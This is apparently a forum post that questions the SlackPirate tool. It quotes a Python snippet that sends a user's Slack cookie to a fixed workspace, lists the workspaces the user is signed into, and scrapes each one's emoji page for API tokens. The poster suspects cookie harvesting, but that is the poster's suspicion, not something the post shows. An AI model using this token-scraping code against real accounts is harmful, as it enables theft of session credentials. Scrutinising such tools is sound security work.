Cookie Harvesting on https://slackpirate-donotuse.slack.com ?? about slackpirate

[apiwoni]

Just look at this code snippet:

 r = requests.get("https://slackpirate-donotuse.slack.com", cookies=cookie)
        already_signed_in_match = set(re.findall(ALREADY_SIGNED_IN_TEAM_REGEX, str(r.content)))
        if already_signed_in_match:
            for workspace in already_signed_in_match:
                r = requests.get("https://" + workspace + "/customize/emoji", cookies=cookie)
                regex_tokens = re.findall(SLACK_API_TOKEN_REGEX, str(r.content))

Doesn't it look suspicious to anyone that call to https://slackpirate-donotuse.slack.com get workspace could be replaced by additional argument where user passes workspace? There should be no need to pass your cookie to strangers!

It seems like this guy specializes in security so perhaps he was testing how many suckers would run unverified Python script!